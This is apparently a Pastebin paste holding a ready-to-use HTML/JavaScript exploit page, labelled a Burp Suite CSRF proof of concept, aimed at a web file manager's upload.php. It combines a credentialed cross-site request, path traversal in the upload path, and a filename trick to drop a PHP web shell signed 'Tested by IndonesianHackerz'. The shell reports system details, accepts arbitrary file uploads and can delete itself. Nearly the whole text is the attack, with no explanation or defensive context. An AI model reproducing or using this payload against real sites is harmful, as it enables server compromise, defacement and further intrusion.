Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <html>
- <!-- CSRF PoC - generated by Burp Suite Professional -->
- <body>
- <script>
- function submitRequest()
- {
- var xhr = new XMLHttpRequest();
- xhr.open("POST", "http://target.com/assets/filemanager/upload.php", true);
- xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
- xhr.setRequestHeader("Accept-Language", "de-de,de;q=0.8,en-us;q=0.5,en;q=0.3");
- xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------256672629917035");
- xhr.withCredentials = "true";
- var body = "-----------------------------256672629917035\r\n" +
- "Content-Disposition: form-data; name=\"path\"\r\n" +
- "\r\n" +
- "../../desa/upload/media/\r\n" +
- "-----------------------------256672629917035\r\n" +
- "Content-Disposition: form-data; name=\"path_thumb\"\r\n" +
- "\r\n" +
- "../../desa/upload/thumbs/\r\n" +
- "-----------------------------256672629917035\r\n" +
- "Content-Disposition: form-data; name=\"file\"; filename=\"uploader.php<\?.txt\"\r\n" +
- "Content-Type: text/plain\r\n" +
- "\r\n" +
- "Tested by IndonesianHackerz;<\?php echo php_uname(); if(isset($_FILES[\'f\'][\'name\'])){$name = $_FILES[\'f\'][\'name\'];$n2 = $_FILES[\'f\'][\'tmp_name\'];@move_uploaded_file($n2, $name); echo $name;}else{ echo \"<form method=post enctype=multipart/form-data><input type=file name=f><input type=submit value=\'>>>\'>\";} if(isset($_GET[\'del\'])) { unlink(basename($_SERVER[PHP_SELF]));} ?>\r\n" +
- "-----------------------------256672629917035--\r\n";
- var aBody = new Uint8Array(body.length);
- for (var i = 0; i < aBody.length; i++)
- aBody[i] = body.charCodeAt(i);
- xhr.send(new Blob([aBody]));
- }
- </script>
- <form action="#">
- <input type="submit" value="Submit request" onclick="submitRequest();" />
- </form>
- </body>
- </html>
Add Comment
Please, Sign In to add comment